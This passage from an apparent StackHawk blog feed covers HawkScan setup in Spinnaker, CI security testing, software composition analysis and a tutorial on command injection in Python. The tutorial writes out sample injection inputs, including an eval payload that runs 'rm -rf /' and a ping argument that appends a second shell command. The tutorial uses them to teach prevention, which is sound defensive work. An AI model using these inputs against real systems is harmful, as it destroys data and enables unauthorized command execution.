href=&quot;https://docs.armory.io/docs/installation/minnaker/&quot;&gt;Armory Minnaker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Here’s &lt;a href=&quot;https://youtu.be/54QgIjAzPW0?t=440&quot;&gt;how to build a K8s pipeline in Spinnaker&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Get Started with StackHawk&lt;/h3&gt;&lt;p&gt;StackHawk provides &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-sca-and-dast/&quot;&gt;CI/CD-friendly dynamic application security testing&lt;/a&gt; (DAST) scanning combined with a platform to help your team discover, manage and triage security bugs from the moment they are introduced.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up&lt;/a&gt; for a free Developer account&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Check out the StackHawk &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/#getting-started&quot;&gt;getting started guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;See the StackHawk &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/spinnaker.html&quot;&gt;Spinnaker integration guide&lt;/a&gt; for the full details on running HawkScan in Spinnaker&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Add HawkScan to your Spinnaker Pipelines&lt;/h3&gt;&lt;p&gt;If you already have Spinnaker deployment pipelines in place, here is how you can add HawkScan.&lt;/p&gt;&lt;h4&gt;Preparation&lt;/h4&gt;&lt;p&gt;Before getting started, protect your StackHawk API key as a Kubernetes secret, and add a HawkScan configuration file to your application repository.&lt;/p&gt;&lt;h5&gt;Protect Your API Key&lt;/h5&gt;&lt;p&gt;Use &lt;code&gt;kubectl&lt;/code&gt; to store your StackHawk API key as a Kubernetes secret.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h5&gt;Create a HawkScan Configuration&lt;/h5&gt;&lt;p&gt;Add a HawkScan scan configuration to your application’s Git repository. For starters, you can use a minimal configuration like the following and add more detail later.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Fill in the &lt;code&gt;app.applicationId&lt;/code&gt; value with your StackHawk application ID, which you can find in the &lt;a href=&quot;https://app.stackhawk.com/applications&quot;&gt;Applications&lt;/a&gt; section of your StackHawk app.&lt;/p&gt;&lt;h4&gt;Add a HawkScan Stage&lt;/h4&gt;&lt;p&gt;HawkScan runs as a script, &lt;code&gt;shawk&lt;/code&gt;, within the &lt;a href=&quot;https://hub.docker.com/r/stackhawk/hawkscan&quot;&gt;stackhawk/hawkscan&lt;/a&gt; Docker container. Normally, it runs automatically and looks for your code repository and configuration file in a volume mounted &lt;code&gt;/hawk&lt;/code&gt; directory. In Kubernetes, we will override this behavior and instead clone your repository into the container before running &lt;code&gt;shawk&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Create a RunJob stage within Spinnaker like the following. For this example configuration, our application is named &lt;code&gt;servicename&lt;/code&gt; and it is deployed in the &lt;code&gt;development&lt;/code&gt; namespace, so it is reachable as &lt;u&gt;http://servicename.development&lt;/u&gt;. Note that &lt;code&gt;shawk&lt;/code&gt; will look for your code repository and configuration file in the directory specified by the &lt;code&gt;REPO_DIR&lt;/code&gt; variable.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Set the &lt;code&gt;REPO_URL&lt;/code&gt; environment variable in the Job manifest above to the HTTPS URL for the git repository that contains your &lt;code&gt;stackhawk.yml&lt;/code&gt; configuration file. For a private repository, you can &lt;a href=&quot;https://github.blog/2012-09-21-easier-builds-and-deployments-using-git-over-https-and-oauth/&quot;&gt;inject an OAuth token&lt;/a&gt; into &lt;code&gt;REPO_URL&lt;/code&gt; for authentication. In that case, &lt;code&gt;REPO_URL&lt;/code&gt; should be stored as a Kubernetes secret.&lt;/p&gt;&lt;p&gt;When this stage runs, it will start the HawkScan container and clone your application git repository into it. Then it will run a scan based on the &lt;code&gt;stackhawk.yml&lt;/code&gt; configuration file found at the base of that repository.&lt;/p&gt;&lt;p&gt;You can add this stage at any point in an existing pipeline to scan your application. We recommend running HawkScan against pre-production environments since it may make changes to a running application’s data in the normal course of a scan.&lt;/p&gt;&lt;h3&gt;Where to Go From Here&lt;/h3&gt;&lt;p&gt;Have a look at StackHawk’s &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/spinnaker.html&quot;&gt;Spinnaker integration guide&lt;/a&gt; for the latest up to date information on using HawkScan in Spinnaker. Then add more information about your application to your HawkScan configuration, such as &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;authentication&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;GraphQL&lt;/a&gt;, and &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;OpenAPI&lt;/a&gt; specifications.&lt;/p&gt;&lt;p&gt;You can also &lt;a href=&quot;https://www.armory.io/blog/creating-your-own-spinnaker-custom-stage/&quot;&gt;create a native stage&lt;/a&gt; for HawkScan within Spinnaker so users can easily configure a HawkScan for their pipelines from the Spinnaker UI, and without the need for editing a Job manifest. This also allows you to utilize &lt;a href=&quot;https://docs.armory.io/docs/armory-admin/secrets/&quot;&gt;Spinnaker secrets&lt;/a&gt; to store your API key.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Command Injection in Python: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/command-injection-python</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Command injection is one of the less popular injection attacks compared to SQL injection attacks. This is generally because orchestrating one takes more time and consideration. However, overlooking command injection attacks can leave your system or application vulnerable to some big threats. And in some cases, it could even lead to a full system compromise. &lt;/p&gt;&lt;p&gt;So in this post we will get you familiar with command injection via concrete examples—more precisely, command injection in Python. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;What is Command Injection?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Command injection sends malicious data into an application that can lead to grave damage when dynamically evaluated by the code interpreter. Simply put, this is when an attacker is able to execute commands on your application server via a loophole in your application code. We also call this remote code execution. &lt;/p&gt;&lt;p&gt;Like other injection attacks, &lt;a href=&quot;https://en.wikipedia.org/wiki/Sanitization_(classified_information)&quot;&gt;unsanitized user input&lt;/a&gt; makes command injection possible. And this is irrespective of the programming language used. We say this because even code written in Python, which has a reputation as a secure programming language, can fall prey to injection attacks. You can do very insecure things with languages designed to be secure. We will see this more clearly in examples covered in the post. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Examples in Python&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Exploiting Eval() and Exec()&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Consider this simple calculator script in Python that takes an expression from the user and evaluates the output. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Typing in an expression like 2 * 3 will result in Result = 6 , which is the desired outcome. A malicious user, on the other hand, could type in something like __import__(‘os’).system(‘rm –rf /’)  as input. And this results in a deletion of all files and directories in the script’s folder if the process has enough privileges. &lt;/p&gt;&lt;p&gt;To prevent such a thing from happening, we need to validate the expressions input by a user. Something like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this particular case, our application expects only numbers and arithmetic expressions as input. A good implementation of the &lt;code&gt;&lt;b&gt;validate()&lt;/b&gt;&lt;/code&gt; function will simply check all the provided input against a white list containing only numeric characters and arithmetic operators. &lt;/p&gt;&lt;p&gt;Let’s look at an example with the function &lt;code&gt;&lt;b&gt;exec()&lt;/b&gt;&lt;/code&gt; as well. Consider the following script, which powers a playground that allows beginners to play with simple Python commands they have learned. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Inputting something like &lt;code&gt;len(word)&lt;/code&gt; gives 4 , and our user is happy. On the other hand, a not-so-friendly user can also type in &lt;code&gt;__import__(&amp;#39;os&amp;#39;).system.listdir()&lt;/code&gt; and see all your directories listed. God knows what they could do from there. But we hope you get the idea of the potential damage. &lt;/p&gt;&lt;p&gt;Just like with the &lt;code&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/code&gt; function, we can get rid of such risk by validating the user input. A good implementation of the &lt;code&gt;&lt;b&gt;validate()&lt;/b&gt;&lt;/code&gt; function adapted to this script, of course, will suffice to fix this loophole. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Just like with the &lt;code&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/code&gt; function, we can get rid of such risk by validating the user input.&lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Exploiting Input()&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;input()&lt;/b&gt;&lt;/code&gt; function is the means by which a Python script can read user input into a variable. In Python 2.x, the &lt;code&gt;&lt;b&gt;input()&lt;/b&gt;&lt;/code&gt; function is equivalent to &lt;code&gt;&lt;b&gt;eval(raw_input)&lt;/b&gt;&lt;/code&gt;&lt;b&gt;.&lt;/b&gt; And as we just saw, we must be careful when working with &lt;code&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/code&gt;. Consider the script below. Typing in the word “password” as the password will cause the “if” condition evaluating to &lt;b&gt;True&lt;/b&gt;. Surprised? Let us see why. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When we give the word “password” as input, the &lt;code&gt;&lt;b&gt;eval()&lt;/b&gt;&lt;/code&gt; function will evaluate this into a variable that just happens to match the name of the variable with the actual password. That way, irrespective of the password, someone smart enough to try the word “password” will always gain access to the system. &lt;/p&gt;&lt;p&gt;Luckily for us, Python 3.x fixes this, and the &lt;code&gt;&lt;b&gt;input()&lt;/b&gt;&lt;/code&gt; function will always convert the value provided to it into a string. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;OS Commands&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Next, we will consider another simple script that pings a provided address. It could be a domain name or an IP address. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The loophole is glaring, and any command that we put in as an address is executed on the application server. All an attacker has to do is add a semi-column and then put in whatever commands they want. For example, google.com ; ls -la. Fixing this is easy, though, because Python provides built-in functions to remedy this. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;&lt;b&gt;shlex.split()&lt;/b&gt;&lt;/code&gt; function separates the command string into an array before running it. In this way, if there are any malicious inputs, the command execution will fail. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Preventing Command Injection in Python&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A rule of thumb is to avoid using user input in code that is evaluated dynamically. If this is unavoidable, strict user input validation must be put in place to mitigate risk. Nonetheless, there is only so much of this we can do, as human as we are. Hence the need for more practical methods for keeping our applications safe from command injection in Python. Anyone who takes the security of their application seriously adopts these simple and structured methods. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A rule of thumb is to avoid using user input in code that is evaluated dynamically.&lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Use Python 3&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This could seem like a given to some people, but you might be surprised by the number of Python apps in production still running version 2.7. With the changes that version 3 brings (like the &lt;code&gt;&lt;b&gt;input()&lt;/b&gt;&lt;/code&gt; function bug fix, we mentioned above), upgrading is not the easiest of tasks, but it is worth the effort. That is why this is the simplest yet the most useful secure practice for building in Python. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Security Code Reviews&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;These reviews focus on the general security of the application source code and cover injection vulnerabilities. They are a key step in the life cycle of secure software development, and we commonly refer to the process as Static Application Security Testing (SAST). &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Dynamic Application Security Testing (DAST)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Following Static Application Security Testing we have Dynamic Application Security Testing. This is a modern form of security testing that is more automated and is usually used as part of a CI/CD pipeline. There are a couple of tools out there that allow you to do this, like the one we are building here at StackHawk, and others. What is most important is that you pick a solution that is adapted to your needs and, more important, is one that helps you find and fix vulnerabilities faster. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Be Up-to-Date with Vulnerabilities&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This seems like an impossible one. Most projects make use of lots of open-source projects and packages, and it is practically impossible to stay informed about all the vulnerabilities discovered within each package. Again, you are not alone, because there are tools like &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt; that allow for this. These tools are very complementary to DAST, and you should use both. That way, there is 360-degree security scanning of the application code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Wrapping Up&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that you have a better understanding of command injection in Python, give it a try. If you are a beginner, do some Static Application Security Testing of some code you have recently written and see how well you fare. For more advanced users, pick up an automated application security testing tool and play around with it. &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;StackHawk&lt;/a&gt; offers a free plan with unlimited scans and environments that you can use. Hopefully this will add some maturity to your projects. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Boris Bambo.&lt;/i&gt; &lt;a href=&quot;https://twitter.com/iamtechonda&quot;&gt;&lt;i&gt;Boris&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a backend engineer who’s passionate about cloud-enabled applications and loves using tech to bring ideas to life.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why Doesn’t Your CI Pipeline Have Security Bug Testing?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/ci-pipeline-security-bug-testing</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Software Engineering has Changed with CI/CD&lt;/h3&gt;&lt;p&gt;Continuous integration and continuous delivery has changed software engineering. Teams are shipping small change sets often and automation has made the life of an engineer a lot simpler. Automation throughout the CI/CD pipeline has touched nearly everything, with integrations and tooling for linting, unit testing, integration testing, deployment, and more.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Application security, however, has been left behind.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;While there are a few exceptions, most application security products are dated technology built for an era before DevOps, CI/CD, and modern software engineering products. These products are also built for the security teams instead of the developers who are close to the code. This is obviously a problem.&lt;/p&gt;&lt;h3&gt;Application Security: Super Important and Super Broken&lt;/h3&gt;&lt;p&gt;It goes without saying that building secure applications is imperative for any engineering team today. Without baking security into your application, your company opens itself up to leaking sensitive data, degrading user experience, or allowing account takeover. As most companies in the world shift to be software-first, application security will only become increasingly important.&lt;/p&gt;&lt;p&gt;While clearly vitally important, current &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;AppSec models are broken&lt;/a&gt;. &lt;b&gt;The traditional approaches to application security prioritize training over tooling and finding over fixing.&lt;/b&gt; InfoSec teams are holding onto dated practices of periodic, point in time scans of production. Vulnerabilities are kicked back to the engineering team in long lists or large Jira backlogs, which then sit deprioritized over feature development. If the work is pulled into a sprint, it requires the developer to jump back into code that they likely haven’t touched for weeks or months.&lt;/p&gt;&lt;p&gt;Adding to this problem is the fact that the majority of the security products on the market are legacy enterprise tools. They are built for a different era of software development and continue to serve the technology dinosaurs that have yet to adopt modern DevOps workflow. Features are built for security teams and favor long approval chains and reports rather than enabling the  developers who will fix the security bugs to get to the job of fixing found issues.&lt;/p&gt;&lt;p&gt;&lt;b&gt;A shift is needed in both culture, workflows, and tooling.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;There is a better way. ⬇️&lt;/p&gt;&lt;h3&gt;The AppSec Future: Application Security Tests in Every CI/CD Build&lt;/h3&gt;&lt;p&gt;While shifting security left has been a trade show booth tagline for years now, we are at the advent of that truly becoming a reality. In the same way that many engineers now define and monitor their own infrastructure, developers are learning that they can take security testing into their own hands. Proper tooling and pipeline automation will drive this shift.&lt;/p&gt;&lt;p&gt;So what does application security tests in every build look like?&lt;/p&gt;&lt;p&gt;You’ll want to instrument two types of security testing, commonly known as SAST and DAST. SAST (Static Analysis Security Testing) scans your code base and its associated dependencies for known vulnerabilities. DAST (Dynamic Analysis Security Testing) runs tests against a running version of your application to find externally exploitable security bugs. Both are important, and both can be added to your CI builds.&lt;/p&gt;&lt;p&gt;Then, on every merge, your pipeline can run security testing. When a developer adds a security bug, they will be alerted and can quickly fix. Tests should be instrumented later in the pipeline as well to ensure that new bugs are not introduced – think of it as security integration testing. When a bug is found, fixes can be tested locally before kicking off a new build.&lt;/p&gt;&lt;h3&gt;A New Breed of AppSec Tooling&lt;/h3&gt;&lt;p&gt;To add application security testing to the CI/CD pipeline, the right tools are needed. As mentioned, the traditional security products on the market are heavy on enterprise sales and light on features for the modern dev shop. Luckily, new tools are hitting the market that are built for developer-first security.&lt;/p&gt;&lt;p&gt;As you look at potential tools, here are a few things to consider:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;How is The App Scanned:&lt;/b&gt; Are your DAST scans scheduled against a production environment, or does the tool assume ephemeral environments and pipeline runs? Does the SAST tool want you to zip up your code and ship it off to them, or does it integrate deeply into your source code repository?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Support for Modern Applications:&lt;/b&gt; Does the tool support modern development paradigms, such as single page applications, GraphQL, or JAM stack applications? Can it work with OpenAPI spec, or does it simply rely on an HTML spider? Does it simply scan publicly available sites, or can it work with multiple forms of authentication?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Noise Management:&lt;/b&gt; Traditional security tools are noisy with false positives and assume that fixing *all* findings is a priority over all else. Does the tool support quieting of noise to ensure that your workflows are not blown up by the addition of your security tool?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Getting Started&lt;/h3&gt;&lt;p&gt;Adding application security tests to your CI/CD pipeline can feel like a daunting task, but it is actually easy to get started. Here’s how:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pick Your Tools:&lt;/b&gt; Select SAST and DAST tools that you can easily try out and add to your pipeline. Make sure they hit on the new breed criteria above. (Hint: if they don’t let you test without first seeing a demo, they probably aren’t built for developers). I’m a little biased, but StackHawk is really the only DAST tool built for developers. And here at StackHawk, we are big fans of &lt;a href=&quot;https://snyk.io&quot;&gt;Snyk&lt;/a&gt; for SAST.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Instrument in Pipeline:&lt;/b&gt; After configuring your tooling, add it to your CI/CD pipeline. We recommend starting with non-blocking runs at first while you triage any existing backlog of security issues. Now every build will include application security tests. For more examples of configuring pipeline instrumentation with StackHawk, check out our &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;docs&lt;/a&gt; or this blog on instrumenting &lt;a href=&quot;https://www.stackhawk.com/blog/add-appsec-to-circle-ci-pipeline/&quot;&gt;StackHawk with CircleCI&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Roll Out Across Engineering:&lt;/b&gt; Application security works best when distributed, with engineers fixing their own security bugs as they build software. This happens with a cultural shift first, but a cultural shift happens a lot easier when the right tooling is in place. One thing that helps drive the culture shift is visibility. At StackHawk, we are big fans of pushing the StackHawk results from a pipeline run into &lt;a href=&quot;https://www.stackhawk.com/blog/slack-integration-announcement/&quot;&gt;Slack&lt;/a&gt;. Another thing that helps the culture shift is putting the fix of new issues in the hands of each engineer, while managing the fix of the existing backlog through a different workstream.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At StackHawk, we’re obviously super passionate about this topic. If you want to talk shop, get technical support, or learn more about how we can help here, shoot us a note at &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;hello@stackhawk.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Software Composition Analysis(SCA)? SCA Scanning Overview and Tooling Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/software-composition-analysis-sca-overview-and-tooling-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Brian Myers]]></dc:creator><content:encoded>&lt;h2&gt;What is Software Composition Analysis?&lt;/h2&gt;&lt;p&gt;Fundamentally a SCA solution has two main parts: a catalog of known software packages and a scanner that combs through your build artifacts looking for items from its catalog. The catalog contains more than just the product names for each package. It also knows about published versions, vulnerabilities in each version, and the kind of license required, such as Apache 2.0, MIT, or GPL. When you run software composition analysis tools, they examines your files and produce a list of the third-party products you are using. For each product the scanner reports the product provider, name, version, license type, and a list of vulnerabilities that have been discovered in the product. Integrating SCA into the software development lifecycle with automated SCA tools offers several key benefits. These tools provide essential visibility into code dependencies and security vulnerabilities, enabling teams to manage risks proactively without disrupting their coding processes.&lt;/p&gt;&lt;h2&gt;Importance of Software Composition Analysis&lt;/h2&gt;&lt;p&gt;Modern software development moves quickly. Developers generally use a large variety of different dependencies to deliver the functionalities their apps require. Software composition analysis (SCA) is an indispensable part of software testing and the overall software supply chain, helping to maintain the security and integrity within an application&amp;#39;s codebase. As organizations increasingly rely on open source components and third-party libraries, SCA becomes a critical tool for identifying and managing potential security vulnerabilities, ensuring license compliance, and keeping libraries up-to-date.&lt;/p&gt;&lt;p&gt;Integrating SCA into the software development lifecycle offers several key benefits:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Risk Management&lt;/b&gt;: SCA tools help identify and mitigate security risks associated with open-source components, significantly reducing the likelihood of security breaches and data compromises. By continuously monitoring for vulnerabilities, organizations can proactively address issues before they escalate.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compliance&lt;/b&gt;: Regulatory requirements such as GDPR, HIPAA, and PCI-DSS mandate strict adherence to security and privacy standards. SCA ensures compliance by identifying and addressing license compliance issues and security vulnerabilities that could be in underlying dependencies, helping organizations avoid legal and financial penalties.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Quality Assurance&lt;/b&gt;: SCA contributes to the overall quality assurance of software products by pinpointing potential security risks, license compliance issues, and outdated libraries. This proactive approach ensures that software components are secure, reliable, and up-to-date, enhancing the overall quality of the final product.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Supply Chain Transparency&lt;/b&gt;: SCA provides comprehensive visibility into the software supply chain, enabling organizations to track and manage their dependencies effectively. This transparency allows for informed decision-making regarding the selection and use of software components, ensuring that only trusted and secure components are integrated into the software.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By implementing an SCA solution, organizations can ensure the security, integrity, and quality of their software, maintaining high standards when it comes to their application&amp;#39;s security posture in the face of constantly evolving threats. This proactive approach not only safeguards the software supply chain but also builds trust with customers and stakeholders, demonstrating a commitment to security and compliance.&lt;/p&gt;&lt;h2&gt;Why Do You Need SCA?&lt;/h2&gt;&lt;p&gt;SCA solutions should recognize most third-party components, whether commercial or open source, but generally SCA solutions have become popular because they address the risks involved with open source software. Most companies use at least some open source software, and most applications contain at least some vulnerabilities in the open source software they use. Furthermore, many open source products form part of a complex ecosystem composed of multiple distinct components or packages. Companies using Linux, Docker, Apache, or Node.js, for example, very likely have hundreds or even thousands of distinct packages, each with its own licensing requirements.&lt;/p&gt;&lt;p&gt;Even though the consequences of using vulnerable software or the wrong kind of license can be drastic, many companies don’t even know what third-party software they have.&lt;/p&gt;&lt;p&gt;While it is technically possible to track all those components manually, keeping the catalog up to date quickly becomes prohibitively tedious. Tracking every new package you include is hard enough in a large code base. It gets worse when you try to add to your inventory the version and license for each package. Packages often come with their own sub-dependencies, which extends the list. And tracking known vulnerabilities is worse. You could certainly find vulnerabilities in the public CVE database at &lt;a href=&quot;https://cve.mitre.org/cve/search_cve_list.html&quot;&gt;Mitre&lt;/a&gt;, but that means manually searching and evaluating results for every item in your inventory. And searching once isn’t enough. What if someone discovers a new vulnerability in old software? You’ll have to perform the search again periodically to see if newly found vulnerabilities might affect you.&lt;/p&gt;&lt;p&gt;This work can obviously be automated. And vendors who specialize in providing SCA services can get better results than you might on your own. They might, for example, supplement their lists of known vulnerabilities with data from proprietary sources or research, including the National Vulnerability Database.&lt;/p&gt;&lt;h2&gt;How Does SCA Work?&lt;/h2&gt;&lt;p&gt;To run a SCA tool, you point it at your build files. They might be on a developer desktop or a staging server, but most often, SCA scanners read from a build directory in your CI/CD pipeline.&lt;/p&gt;&lt;p&gt;SCA solutions recognize files in your code base that come from third-party products. Scanners may employ multiple tactics for identification. For example, they may have a list of hashes pre-computed from files in known software products. The hash for every file is unique. When the scanner runs it calculates hashes for all the files in &lt;i&gt;your&lt;/i&gt; software and matches them against its list. When the hashes match the scanner knows what product and what version of that product you have. Additionally, many scanners can parse source files to find proprietary code snippets incorporated within your own code.&lt;/p&gt;&lt;p&gt;Even if your code never changes, you may get different results each time you run the scanner. That’s because SCA scanners frequently update their list of known vulnerabilities. People continue to find flaws in software for years after release, and a good scanner updates its list of known vulnerabilities frequently.&lt;/p&gt;&lt;h2&gt;What Does SCA Find?&lt;/h2&gt;&lt;p&gt;SCA solutions produce several different kinds of output that serve different needs and may be consumed by different audiences. Typical SCA reports include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Bill of Materials (BoM):&lt;/i&gt; An inventory of third-party packages found. Knowing what software you have is a first step to security, and providing a list is sometimes a compliance requirement. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;List of Licenses:&lt;/i&gt; An inventory of software licenses associated with third-party components in your software. Some open source licenses are highly restrictive and can create business risk. Legal departments often set policies about what licenses a particular company must avoid.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Known Security Vulnerabilities:&lt;/i&gt; A list of potentially dangerous flaws in your third-party software components. At a minimum, such lists show the type and severity of each vulnerability as well as which files have the vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Challenges of SCA&lt;/h2&gt;&lt;p&gt;Like most testing tools, a SCA scanner helps you find problems. Responding to what it finds may present some common challenges. Security teams play a crucial role in leveraging SCA to manage and mitigate these risks, including triaging if a risk is relevant and critical.&lt;/p&gt;&lt;h3&gt;Assessing Actual Risk&lt;/h3&gt;&lt;p&gt;Knowing that a particular library in your back end has a certain high-priority vulnerability is not always enough for development teams to choose the right response. Which team owns that library? What parts of the product depend on it? How much regression testing will be needed if it&amp;#39;s replaced? What exactly is the vulnerability? Is the vulnerable code path something your product ever executes? Can you safely ignore the vulnerability? These questions are not always easy to answer. When choosing a SCA solution, look carefully at the vulnerability reports. Which one gives the best information? &lt;/p&gt;&lt;h3&gt;Accepting Risk&lt;/h3&gt;&lt;p&gt;You&amp;#39;ll need to decide who is allowed to determine that a particular finding does not need to be fixed. Requiring approval from the security team may produce reliably objective decisions, but it creates a roadblock for developers. Allowing developers to accept risk speeds code development but introduces a need to monitor or audit developer overrides.&lt;/p&gt;&lt;h3&gt;Addressing Technical Debt&lt;/h3&gt;&lt;p&gt;If you have a large code base and have not been tracking your third-party software, your first SCA scan will likely reveal an alarming technical debt. You may have hundreds of items in your vulnerability list. Prioritizing the work will be essential. Which vulnerabilities are most severe? Which components actually process sensitive data? Which have the most vulnerabilities? Which are easiest or safest to upgrade? Divide the work into prioritized chunks. Allocate a set amount of time in each sprint to address the findings. Celebrate a new victory after each chunk is fixed. &lt;/p&gt;&lt;h3&gt;Knowing What Was Missed&lt;/h3&gt;&lt;p&gt;SCA scanners may not identify every single third party component in your product. They may fail to recognize specialized libraries purchased from smaller vendors or open source files that are not widely adopted. Some amount of manual tracking may still be necessary. &lt;/p&gt;&lt;h2&gt;Top 7 SCA Solutions of 2025&lt;/h2&gt;&lt;p&gt;Many companies produce Software Composition Analysis scanners. Here are some of the larger or more prominent contenders, along with a word or two about each to suggest how they differ.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Black Duck (by Synopsis) boasts a knowledge base of over 4 million software components.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GitHub&amp;#39;s &lt;a href=&quot;https://docs.github.com/en/code-security/supply-chain-security/about-dependency-review&quot;&gt;dependency review&lt;/a&gt; feature and GitLab&amp;#39;s “&lt;a href=&quot;https://docs.gitlab.com/ee/user/application_security/dependency_scanning/&quot;&gt;Dependency Scanning&lt;/a&gt;” both generate alerts for out-of-date dependencies in public repositories and create pull requests to update your code. GitHub&amp;#39;s dependency review is in beta as of this writing (4/27/21).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;JFrog&amp;#39;s Xray is available in cloud or self-hosted versions and integrates particularly well with JFrog&amp;#39;s Artifactory product.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk Open Source&lt;/a&gt; scans 